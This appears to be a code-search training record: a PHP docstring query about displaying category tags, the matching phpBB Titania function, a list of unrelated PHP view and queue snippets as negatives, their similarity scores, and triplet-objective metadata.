value=\"forum_send\">',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"textarea\"=>'body',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_topic['topic_name'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"user_id\"=>isNumber($this->akt_user)?$this->akt_user:0\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$akt_cat = selectOne(\"SELECT * FROM `\".$this->prefix.\"cat` WHERE `cat_id`=\".$this->cat_id);\n\n\n\t\t\t$cat_where = \"WHERE `cat_parent`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_CAT_PUB)?\"\":\" AND `cat_pub`=1\").\" ORDER BY `cat_name` \";\n\n\t\t\t$cat_pager = new lapozo($this->prefix.'cat',$cat_where,$this->cat_pager_get,$this->cat_per_page); \n\n\t\t\t$catlist_str = \"\";\n\t\t\t\n\t\t\t$cat_sorsz=0;\n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"cat` \".$cat_where.\" \".$cat_pager->getLimit()) as $cat)\n\t\t\t{\n\t\t\t\t$catlist_str .= $this->templates[FORUM_TEMPLATE_CATLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\tarray_merge($cat,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->cat_get=>$cat['cat_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$cat['cat_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"cat_operation\"><input type=\"hidden\" name=\"cat_id\" value=\"'.$cat['cat_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$cat_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($cat['cat_created_by'])\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\n\n\t\t\t$topic_where = \"WHERE `topic_cat`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?\"\":\" AND `topic_pub`=1\").\" ORDER BY `topic_name` \";\n\n\t\t\t$topic_pager = new lapozo($this->prefix.'topic',$topic_where,$this->topic_pager_get,$this->topic_per_page); \n\t\t\t\n\t\t\t$topic_sorsz = 0;\n\n\t\t\t$topiclist_str = \"\";\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"topic` \".$topic_where.\" \".$topic_pager->getLimit()) as $topic)\n\t\t\t{\n\t\t\t\t$topiclist_str .= $this->templates[FORUM_TEMPLATE_TOPICLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\tarray_merge($topic,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->topic_get=>$topic['topic_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$topic['topic_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"topic_operation\"><input type=\"hidden\" name=\"topic_id\" value=\"'.$topic['topic_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$topic_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($topic['topic_created_by']),\n\t\t\t\t\t\t\t\t\t\t\"last_msg\"=>selectMezo(\"SELECT max(`post_time`) as maxtime FROM `\".$this->prefix.\"post` WHERE `post_topic`=\".$topic['topic_id'],\"maxtime\")\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_CATVIEW]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pager\"=>$cat_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_body\"=>$catlist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_cnt\"=>$topic_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_cnt\"=>$cat_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_cat_form\"=>$this->isHavePriv(FORUM_PRIV_CAT_CREATE)?$this->templates[FORUM_TEMPLATE_NEWCAT_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"cat_name_input_name\"=>\"cat_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_cat\" />'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pager\"=>$topic_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_body\"=>$topiclist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_topic_form\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_CREATE)?$this->templates[FORUM_TEMPLATE_NEWTOPIC_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"topic_name_input_name\"=>\"topic_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_topic\" />'\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_cat['cat_name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t}", "function show($pos)\r\n\t{\r\n\t\techo $this->get($pos);\r\n\t}", "function display($tpl = null)\n\t{\n\t\t$this->Item=$this->get('Item');\n\t\t\n//\t\techo \"<pre>\" . var_dump($this->Item) . \"</pre>\";\n\t\t$tour=new TournamentHelper();\n\t\t\t\n\t\tif (isset($this->Item[\"tournament\"][\"id\"]))\n\t\t{\n\t\t\t$tour->tournament=$this->Item[\"tournament\"];\n\t\t\t$tour->player=$this->Item[\"player\"];\n\t\t\t$tour->result=$this->Item[\"result\"];\n\t\t\t$tour->head=$this->Item[\"tournament\"]['event'];\n\t\t\t$this->table=$tour->displayTable(999);\n\t\t}\n\t\tparent::display($tpl);\n\t}", "public function showItem(Request $req,$item){\n $i = $this->itemRepo->getItemById($item);\n return view('marketItem.showItem', [\n 'item' => $i,\n ]);\n }", "public function show($id)\n {\n $item = $this->itemCRUD->find_item($id);\n\n\n $this->load->view('theme/header');\n $this->load->view('itemCRUD/show',array('item'=>$item));\n $this->load->view('theme/footer');\n }", "public function getItem() \n {\n $this->checkUserIsLogged();\n $params = Route::getUrlParameters();\n $id = $params['id'];\n try {\n $item = new Item;\n $item->getItem($id);\n View::renderJson($item);\n } catch (Exception $e) {\n View::renderJson(['status' => 0, 'message' => $e]);\n }\n }", "public function get_queue()\n\t\t{\n\t\t\treturn $this->queue;\n\t\t}", "public function indexAction()\n {\n $pendingItems = $this->trackingService->getPendingTrackingItems();\n\n $this->view->items = $pendingItems;\n $this->title = \"Tracking Fulfillment Queue\";\n $this->selfLink = $this->view->apiEndPoint . \"/tracking-fulfillment\";\n\n $this->render('index');\n }", "public function flush()\r\n {\r\n $f = \"\";\r\n foreach (self::$instance->_queue as $q) {\r\n $f .= self::$instance->show($q['title'], $q['output']);\r\n }\r\n return $f;\r\n }", "public function show($id)\n {\n $item = $this->itemCRUD->find($id);\n\n $this->load->view('theme/header');\n $this->load->view('items/show',array('item'=>$item));\n $this->load->view('theme/footer');\n }", "public function show(Thread $thread)\n {\n //\n }", "public function infoCommand($queueName)\n {\n $queue = $this->jobManager->getQueueManager()->getQueue($queueName);\n $options = $queue->getOptions();\n\n $this->outputFormatted('Information for queue \"%s\"...', [$queueName]);\n $this->outputFormatted('<b>Class:</b> %s', [get_class($queue)]);\n\n if (is_array($options) && !empty($options)) {\n foreach ($options as $key => $value) {\n $this->outputFormatted('<b>%s:</b> %s', [ucfirst($key), ($value === null) ? 'null': $value]);\n }\n }\n }", "public function show($pid)\n {\n //\n }", "public function display(){}", "public function show(ItemUser $itemUser)\n {\n //\n }", "public function show(Requisition $requisition)\n {\n //\n }", "function display($tpl = NULL) {\n $items = $this->get('Items');\n\n $this->canDo = LajvITHelper::getEventActions();\n\n if (count($errors = $this->get('Errors'))) {\n JError::raiseError(500, implode('<br />', $errors));\n return FALSE;\n }\n\n $this->items = $items;\n\n $this->addToolBar();\n parent::display($tpl);\n $this->setDocument();\n }", "public function showAction()\n {\n $this->setPageTitle(sprintf($this->_('Show %s'), $this->getTopic()));\n\n $model = $this->getModel();\n // NEAR FUTURE:\n // $this->addSnippet('ModelVerticalTableSnippet', 'model', $model, 'class', 'displayer');\n $repeater = $model->loadRepeatable();\n $table = $this->getShowTable();\n $table->setOnEmpty(sprintf($this->_('Unknown %s.'), $this->getTopic(1)));\n $table->setRepeater($repeater);\n $table->tfrow($this->createMenuLinks($this->menuShowIncludeLevel), array('class' => 'centerAlign'));\n\n if ($menuItem = $this->findAllowedMenuItem('edit')) {\n $table->tbody()->onclick = array('location.href=\\'', $menuItem->toHRefAttribute($this->getRequest()), '\\';');\n }\n\n $tableContainer = \\MUtil_Html::create('div', array('class' => 'table-container'), $table);\n $this->html[] = $tableContainer;\n }", "function show() {\n echo $this->fetch();\n }", "public function queueId()\n {\n return $this->queueId;\n }", "public function dequeue();", "function display($tpl = null)\n\t{\n\t\t// Get data from the model\n\t\t$items = $this->get('Items');\n\t\t$pagination = $this->get('Pagination');\n\t\t$this->form\t\t= $this->get('Form');\n\n\t\t// Check for errors.\n\t\tif (count($errors = $this->get('Errors')))\n\t\t{\n\t\t\tJError::raiseError(500, implode('<br />', $errors));\n\n\t\t\treturn false;\n\t\t}\n\t\t// Assign data to the view\n\t\t$this->items = $items;\n\t\t$this->pagination = $pagination;\n\n// \t\tinclude 'C:\\Suresh\\REBProject\\PHP_WorkSpace\\old\\SPI\\administrator\\components\\com_helloworld\\views\\helloworlds\\push\\simplepush.php';\n// \t\tpushOneId('');\n\t\t\n\t\t$this->addToolBar();\n\t\t// Display the template\n\t\tparent::display($tpl);\n\t}", "public function show(Thread $thread)\n {\n }", "public function actionIndex() \n {\n if (isset($_POST['selectqueue']) && !empty($_POST['selectqueue']))\n {\n Queue::model()->deleteQueues($_POST['selectqueue']);\n $this->redirect(array('queue'));\n }\n \n\n $doctorList = Doctor::model()->getDoctorList();\n \n $this->render('queue', array('doctorList' => $doctorList));\n }", "public function show(Quote $quote)\n {\n //\n }", "public function show(Quote $quote)\n {\n //\n }", "public function show(Quote $quote)\n {\n //\n }", "public function show(Quote $quote)\n {\n //\n }", "protected function forum_queue_edit()\n\t{\n\t\tif (!$this->phpbb_post_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$forum_id = self::get_queue_forum_id($this->topic->topic_category, $this->post_type);\n\n\t\tif (!$forum_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\ttitania::_include('functions_posting', 'phpbb_posting');\n\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\t\t$post_text = $this->post_text;\n\n\t\thandle_queue_attachments($this, $post_text);\n\t\tmessage::decode($post_text, $this->post_text_uid);\n\n\t\t$post_text .= \"\\n\\n\" . $path_helper->strip_url_params($this->get_url(), 'sid');\n\n\t\t$options = array(\n\t\t\t'post_id'\t\t\t\t=> $this->phpbb_post_id,\n\t\t\t'topic_title'\t\t\t=> $this->post_subject,\n\t\t\t'post_text'\t\t\t\t=> $post_text,\n\t\t);\n\n\t\tphpbb_posting('edit', $options);\n\t}", "public function single_row( $item ) {\n echo '<tr>';\n $this->single_row_columns( $item );\n $this->displayMessageRow( $item );\n echo '</tr>';\n }", "public function display()\n\t{\n\t\t$this->list_table->prepare_items( $this->orderby );\n\n\t\t$this->form_start_get( 'process-all-items', null, 'process-all-items' );\n\t\t\t?><button>Process All Items</button><?php\n\t\t$this->form_end();\n\t\t\n\t\t$this->form_start_get( 'clear', null, 'clear' );\n\t\t\t?><button>Clear Items</button><?php\n\t\t$this->form_end();\n\n\t\t$this->form_start( 'upload-table' );\n\t\t\t$this->list_table->display();\n\t\t$this->form_end();\n\t}", "protected function toString(){\n echo '<br>The item name: '.$this->getName().'</br>The item price is : '.$this->getPrice();\n }", "function display($tpl = null) \r\n\t{\r\n\r\n\r\n\t\t// Set the document\r\n\t\t$this->setDocument();\r\n\t\t\r\n\t\t// Set the toolbar\r\n\t\t$this->addToolBar();\r\n\r\n\t\t$this->item = $tema;\r\n\t\t\r\n\r\n\t\t// Display the template\r\n\t\tparent::display($tpl);\r\n\t}", "public function action_Detail()\n\t{\n\t\t// load ticket from database\n\t\t$item = ORM::factory('Ticket', $this->request->param('id'));\n\n\t\t// check for ticket existance\n\t\tif ( ! $item->loaded())\n\t\t\treturn $this->not_found('Could not find Ticket', 'Please go back to ticket list and find a ticket.');\n\n\t\t// setup view\n\t\t$this->view = View::factory('Ticket/Detail')\n\t\t->set('item', $item)\n\t\t->set('verified', $this->auth->logged_in('verified'))\n\t\t->set('owner', $this->user AND $this->user->id === $item->user->id)\n\t\t->set('admin', $this->auth->logged_in('admin'))\n\t\t->bind('messages', $messages);\n\n\t\t// get ticket message responses\n\t\t$messages = $item->messages\n\t\t->order_by('created_at', 'ASC')\n\t\t->find_all();\n\t}", "public function display($tpl = null)\n\t{\n\t\t$this->item = $this->get('Item');\n\n\t\tif(false == $this->item)\n\t\t\tthrow new Exception('Invalid item');\n\n\t\tparent::display($tpl);\n\t}", "public function display_item(Request $request){\n\n $id = $request->item_id;\n $item_id = item::where('id', $id)->first();\n return response()->json($item_id);\n }", "public function display_item(Request $request){\n\n $id = $request->item_id;\n $item_id = item::where('id', $id)->first();\n return response()->json($item_id);\n }", "public function index()\n\t{\n\t\t$data['title'] = \"Doctor's Queue\";\n\t\t$data['role'] = $this->session->userdata('role');\n\n $this->load->view('templates/header', $data);\n $this->load->view('templates/queue');\n\t}", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "function getItem() ;", "public function Queues();", "public function showReminder(Event $event, Queue $queue)\n {\n extract($this->parseReminder($event));\n if (isset($this->reminders[$nick][$name])) {\n extract($this->reminders[$nick][$name]);\n $source = $event->getSource();\n $reply = \"$nick - name: $name, time: $time, source: $source, command: $command, seconds: $seconds\";\n if (isset($message)) {\n $reply .= \", message: $message\";\n }\n $queue->$command($source, $reply);\n } else {\n $queue->$command($source, \"$nick: I don't have a $name reminder for you.\");\n }\n }", "public function getQueueId() {\n\t\t$db = JFactory::getDbo();\n\t\t$query = \"SELECT * FROM joomla3_queue ORDER BY queue_id DESC \";\n\n\t\t$db->setQuery($query, 0, 1);\n\t\t$rows_id = $db->loadAssoc();\n\n//\t\t$electrical_id = $row['electrical_status'];\n if($rows_id == \"\"){ //while the electrical table has delete or anyway trouble but the time will update\n\t\t\t/*$db = JFactory::getDbo();\n\t\t $query = \"select * from #__electrical where datetime > $time_pos ORDER BY electrical_id ASC\";\n\t\t\t$db->setQuery($query,0, $limit);\n\t\t $rows = $db->loadAssocList();\n\t\t\t*/\n\t\t}else{\n\t\t\t$queue_id = $rows_id['queue_id'];\n\t\t return $queue_id;\n\t\t\t\n\t\t}\t\n\t}", "public function pop($queue);", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "function display($tpl = null)\r\n\t{\r\n\t$task=JRequest::getVar('task');\r\n\t\t//echo $task;\r\n\t\t//exit();\r\n\t\t//$this->get('Ister');\r\n\t\t// Assign data to the view\r\n\t\t$this->msg = $this->$task();\r\n\r\n\t\t// Check for errors.\r\n\t\tif (count($errors = $this->get('Errors')))\r\n\t\t{\r\n\t\t\tJError::raiseError(500, implode('<br />', $errors));\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\t// Display the view\r\n\t\tparent::display($tpl);\r\n\t}", "public function display() {}", "public function display() {}" ]
[ "0.7378183", "0.69470924", "0.6584526", "0.63735807", "0.62545824", "0.61570776", "0.60942787", "0.6039605", "0.5974", "0.59114224", "0.5898139", "0.5881564", "0.58764625", "0.5847335", "0.58313763", "0.5823169", "0.5809791", "0.5777092", "0.5772244", "0.5772244", "0.57627666", "0.5722395", "0.56677806", "0.56568307", "0.56297505", "0.5626292", "0.5614423", "0.56071365", "0.558713", "0.55667555", "0.55566084", "0.5529293", "0.5529168", "0.55217546", "0.55217546", "0.5519545", "0.55175203", "0.55124766", "0.5509286", "0.5497019", "0.5490224", "0.5488717", "0.5479483", "0.54790145", "0.5471245", "0.5464432", "0.5463492", "0.5463348", "0.54631317", "0.5458263", "0.54552484", "0.5420755", "0.54201704", "0.54124576", "0.5405556", "0.5402684", "0.5398465", "0.5392877", "0.53921854", "0.5371946", "0.5371198", "0.53642285", "0.53562105", "0.53547317", "0.5349893", "0.53472126", "0.53389436", "0.533841", "0.53249717", "0.53214025", "0.5308677", "0.5306112", "0.5305366", "0.53044945", "0.527778", "0.527778", "0.527778", "0.527778", "0.527381", "0.52724445", "0.5255149", "0.524938", "0.52455264", "0.5231208", "0.522143", "0.5216958", "0.5216958", "0.5216757", "0.5211644", "0.52037555", "0.5203313", "0.5202751", "0.5201634", "0.52007973", "0.5198621", "0.5198621", "0.5198621", "0.5198349", "0.5193981", "0.5193981" ]
0.6905106
2
Display the categories (tags)
public static function display_categories($type, $selected = false) { $controller_helper = phpbb::$container->get('phpbb.titania.controller.helper'); $types = phpbb::$container->get('phpbb.titania.contribution.type.collection'); $tags = titania::$cache->get_tags(ext::TITANIA_QUEUE); $tag_count = array(); $total = 0; $type_url = $types->get($type)->url; $sql = 'SELECT queue_status, COUNT(queue_id) AS cnt FROM ' . TITANIA_QUEUE_TABLE . ' WHERE queue_type = ' . (int) $type . ' GROUP BY queue_status'; $result = phpbb::$db->sql_query($sql); while ($row = phpbb::$db->sql_fetchrow($result)) { $total += ($row['queue_status'] > 0) ? $row['cnt'] : 0; $tag_count[$row['queue_status']] = $row['cnt']; } phpbb::$db->sql_freeresult($result); phpbb::$template->assign_block_vars('queue_tags', array( 'TAG_NAME' => phpbb::$user->lang['ALL'], 'TAG_COUNT' => $total, 'U_VIEW_TAG' => $controller_helper->route('phpbb.titania.queue.type', array('queue_type' => $type_url, 'tag' => 'all')), 'S_SELECTED' => ($selected == 0) ? true : false, )); foreach ($tags as $tag_id => $row) { if (!isset($tag_count[$tag_id])) { // Hide empty ones continue; } phpbb::$template->assign_block_vars('queue_tags', array( 'TAG_NAME' => (isset(phpbb::$user->lang[$row['tag_field_name']])) ? phpbb::$user->lang[$row['tag_field_name']] : $row['tag_field_name'], 'TAG_COUNT' => $tag_count[$tag_id], 'U_VIEW_TAG' => $controller_helper->route('phpbb.titania.queue.type', array('queue_type' => $type_url, 'tag' => $tag_id)), 'S_SELECTED' => ($selected == $tag_id) ? true : false, )); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function categorie()\n {\n $data[\"categories\"]=$this->categories->list();\n $this->template_admin->displayad('categories' , $data);\n }", "public static function renderCategories() \n {\n $categories = self::find()->indexBy('category_id')->asArray()->all();\n foreach($categories as $category) {\n ?>\n <li class=\"b-categories__item b-categories__<?= $category[\"name\"]; ?> transition3\">\n <ul class=\"submenu\">\n <li>\n <?= Html::a(\n Html::tag('span', mb_strtoupper($category[\"title\"]),\n ['class' => 'b-categories__link']),\n ['category/view', 'id' => $category['category_id']],\n ['class' => [$category[\"name\"], 'b-categories__alink']]\n ) ?>\n </li>\n </ul>\n </li>\n <?php\n }\n }", "public function categories(){\n \n $this->data['categories'] = $this->books_model->getAllCategories();\n $this->render('books/categories');\n }", "public function categoriesPageAction()\n {\n // Get entity Manager\n $em = $this->get('doctrine')->getManager();\n\n // Retrive all exsisting categories\n $categories = $em->getRepository('VideotechBundle:Category')\n ->findAll();\n\n\n // Render display\n return $this->render('@Videotech/Category/list.twig', array(\n \"categories\" => $categories\n ));\n }", "function tc_category_list() {\r\n $post_terms = apply_filters( 'tc_cat_meta_list', $this -> _get_terms_of_tax_type( $hierarchical = true ) );\r\n $html = false;\r\n if ( false != $post_terms) {\r\n foreach( $post_terms as $term_id => $term ) {\r\n $html .= sprintf('<a class=\"%1$s\" href=\"%2$s\" title=\"%3$s\"> %4$s </a>',\r\n apply_filters( 'tc_category_list_class', 'btn btn-mini' ),\r\n get_term_link( $term_id , $term -> taxonomy ),\r\n esc_attr( sprintf( __( \"View all posts in %s\", 'customizr' ), $term -> name ) ),\r\n $term -> name\r\n );\r\n }//end foreach\r\n }//end if $postcats\r\n return apply_filters( 'tc_category_list', $html );\r\n }", "public function frontpage_categories_list() {\n global $CFG;\n $content = html_writer::start_tag('div', array('class' => 'container'));\n $content .= html_writer::tag('h2', get_string('categories'));\n\n global $CFG;\n $chelper = new coursecat_helper();\n $chelper->set_subcat_depth($CFG->maxcategorydepth)->set_show_courses(\n self::COURSECAT_SHOW_COURSES_COUNT)->set_categories_display_options(\n array(\n 'limit' => $CFG->coursesperpage,\n 'viewmoreurl' => new moodle_url('/course/index.php',\n array('browse' => 'categories', 'page' => 1))\n ))->set_attributes(array('class' => 'frontpage-category-names'));\n $categories = $this->get_categories();\n\n $attributes = $chelper->get_and_erase_attributes('course_category_tree clearfix');\n $content .= html_writer::start_tag('div', $attributes);\n $content .= html_writer::start_tag('div', array('class' => 'content'));\n $content .= html_writer::start_tag('div', array('class' => 'subcategories'));\n foreach ($categories as $key => $value) {\n $content .= $this->enlightlite_coursecat_category($chelper, core_course_category::get($key), 1);\n }\n $content .= html_writer::end_tag('div');\n $content .= html_writer::end_tag('div');\n $content .= html_writer::end_tag('div');\n $content .= html_writer::end_tag('div');\n return $content;\n }", "public function categoriesAction()\r\n {\r\n $categories = $this->getDoctrine()\r\n ->getManager()\r\n ->getRepository('NiftyThriftyShopBundle:ProductCategory')\r\n ->findNavigation();\r\n return $this->render('NiftyThriftyShopBundle:Navigation:_itemList.html.twig',\r\n array('title' => 'Categories',\r\n 'prefix' => 'cat',\r\n 'items' => $categories,\r\n 'path_name' => 'show_category'));\r\n }", "public function get_sidebar_categories(){\n\n $html = '<tr class=\"wm-widget-sub-title\"><td>{{categories-title}}:</td></tr><tr class=\"wm-widget-info\"><td>';\n\n $categories = get_the_category();\n $output = '';\n foreach( $categories as $category ){\n $id = get_cat_ID( $category->name );\n $url = get_category_link( $id );\n $output .= '<span class=\"wm-tags\"><a href=\"' . $url . '\">' . $category->name . '</a></span>, ';\n }\n\n if( count( $categories ) > 1 ){\n /** Replace the categories title to be plural. */\n $html = str_replace( '{{categories-title}}', 'Categories', $html );\n } else {\n /** Replace the categories title to be singular. */\n $html = str_replace( '{{categories-title}}', 'Category', $html );\n }\n\n /** Remove the extra comma and space from the loop and close the HTML. */\n $html .= substr( $output, 0, strlen( $output ) - 2 ) . '</td></tr>';\n return $html;\n }", "public function categories_all() {\n\t\t// Simple! Get the categories\n\t\t$this->data['categories'] = $this->mojo->blog_model->categories();\n\t\t\n\t\t// ...and display the view. We won't\n\t\t// be needing Pagination or anything like that\n\t\t$this->_view('categories');\n\t}", "public function categories()\n {\n return view('templates.them8.categories');\n }", "function tags_terms_list() { // list Tags taxonomy\n\twp_list_categories( array( 'style' => 'list', 'hide_empty' => 0, 'taxonomy' => 'post_tags', 'hierarchical' => true, 'title_li' => __( 'Tags' ) )); return; \n}", "public function categories()\n {\n $result = $this->dtbs->list('category');\n $data['info'] = $result;\n $this->load->view('back/categories/anasehife',$data);\n }", "public function categories() {\n\n $this->load->model('Model_Bird_Wiki');\n $result['categories'] = $this->Model_Bird_Wiki->get_categories();\n\n if($result!=false) {\n $this->load->view('category_main', $result);\n }\n else {\n echo \"Something went wrong !\";\n }\n\n }", "public function categories()\n {\n $group_id = ee()->input->get('group_id') ? ee()->input->get('group_id') : ee()->publisher_category->get_first_group();\n\n $vars = ee()->publisher_helper_cp->get_category_vars($group_id);\n\n $vars = ee()->publisher_helper_cp->prep_category_vars($vars);\n\n // Load the file manager for the category image.\n ee()->publisher_helper_cp->load_file_manager();\n\n // Bail if there are no category groups defined.\n if (empty($vars['category_groups']))\n {\n show_error('No category groups found, please <a href=\"'. BASE.AMP .'D=cp&C=admin_content&M=edit_category_group\">create one</a>.');\n }\n\n return ee()->load->view('category/index', $vars, TRUE);\n }", "public function showTVShowCategories(){\n $querry=$this->con->prepare(\"SELECT * from categories\");\n $querry->execute();\n\n\n $html=\"<div class='previewCategories'>\n <h1>TV Shows</h1>\";\n\n //Keep on Appending the HTML OF EACH CATEGORY\n while($row=$querry->fetch(PDO::FETCH_ASSOC)){ //This loop working needs investigation\n $html.=$this->getCategoyHtml($row,null,true,false);\n }\n\n //Return the whole html to print\n return $html.\"</div>\";\n }", "public function categoryList()\n {\n return view(\"Category::list\");\n }", "function get_categoriaslist(){\r\n $args = array(\r\n 'orderby' => 'name',\r\n 'order' => 'ASC'\r\n );\r\n $categories = get_categories($args);\r\n ?><ul><?php \r\n foreach($categories as $category) { \r\n ?><li><a href=\"<?php echo get_category_link( $category->term_id ); ?>\"><?php echo $category->name;?></a></li><?php \r\n }\r\n ?></ul><?php \r\n}", "function display_cat()\n {\n $this->Admin_model->procedure = 'GET_POST_CAT';\n\n $rs = $this->Admin_model->get_post();\n $data['rows'] = $rs;\n $this->load->view('display_posts_cat', $data);\n\n }", "public function getCategories();", "public function getCategories();", "public function categories()\n {\n $categories = Category::get();\n return view('articles.categories', compact('categories'));\n }", "function showCategory()\r\n {\r\n }", "function sportal_categories()\n{\n\tglobal $context, $scripturl, $txt;\n\n\tloadTemplate('PortalCategories');\n\n\t$context['categories'] = sportal_get_categories(0, true, true);\n\n\t$context['linktree'][] = array(\n\t\t'url' => $scripturl . '?action=portal;sa=categories',\n\t\t'name' => $txt['sp-categories'],\n\t);\n\n\t$context['page_title'] = $txt['sp-categories'];\n\t$context['sub_template'] = 'view_categories';\n}", "public function index()\n {\n $pagination = TagTopicCategory::orderBy('id', 'desc')->paginate(15);\n\n $pagination->setPath('topic-category');\n\n return view('pages.tag.topic-category', ['pagination' => $pagination]);\n }", "public function showMovieCategories(){\n $querry=$this->con->prepare(\"SELECT * from categories\");\n $querry->execute();\n\n\n $html=\"<div class='previewCategories'>\n <h1>Movies</h1>\";\n\n //Keep on Appending the HTML OF EACH CATEGORY\n while($row=$querry->fetch(PDO::FETCH_ASSOC)){ //This loop working needs investigation\n $html.=$this->getCategoyHtml($row,null,false,true);\n }\n\n //Return the whole html to print\n return $html.\"</div>\";\n }", "public function category()\n {\n $vereinRepository = new VereinRepository();\n\n $view = new View('verein_index');\n $view->kategorie = $_GET['kategorie'];\n $view->title = 'Kategorie';\n $view->heading = 'Kategorie: '. $_GET['kategorie'];\n $view->vereine = $vereinRepository->getByCategory($view->kategorie);\n $view->display();\n }", "public function CategoriesShow()\n {\n $allCategories = Categorie::all();\n\n return view('articles.seeCategories', compact('allCategories'));\n }", "public function displayCategories()\n {\n $query = $this->categoryModel->displayCategories();\n $this->showCategories = $query->fetchAll();\n }", "public function index()\n {\n //отвечает за отображение списка категорий\n //вернуть вид по пути admin/categories/index.php\n // в параметрах указываем переменную, которую передаем\n // выбираем ее из модели методом paginate(10 категорий на странице)\n return view('admin.categories.index', [\n 'categories' => Category::paginate(10)\n ]);\n }", "public function category()\n\t{\n\t\t$crud = $this->generate_crud('blog_categories');\n\t\t$crud->columns('title');\n\t\t$this->mPageTitle = 'Blog Categories';\n\t\t$this->mViewData['crud_note'] = modules::run('adminlte/widget/btn', 'Sort Order', 'blog/category_sortable');\n\t\t$this->render_crud();\n\t}", "public function categoryList()\n {\n $category = categories::orderBy('id', 'desc')->get();\n return view('backend.admin-panel.pages.viewCategories', compact('category'));\n }", "public function showAllCategories(){\n $querry=$this->con->prepare(\"SELECT * from categories\");\n 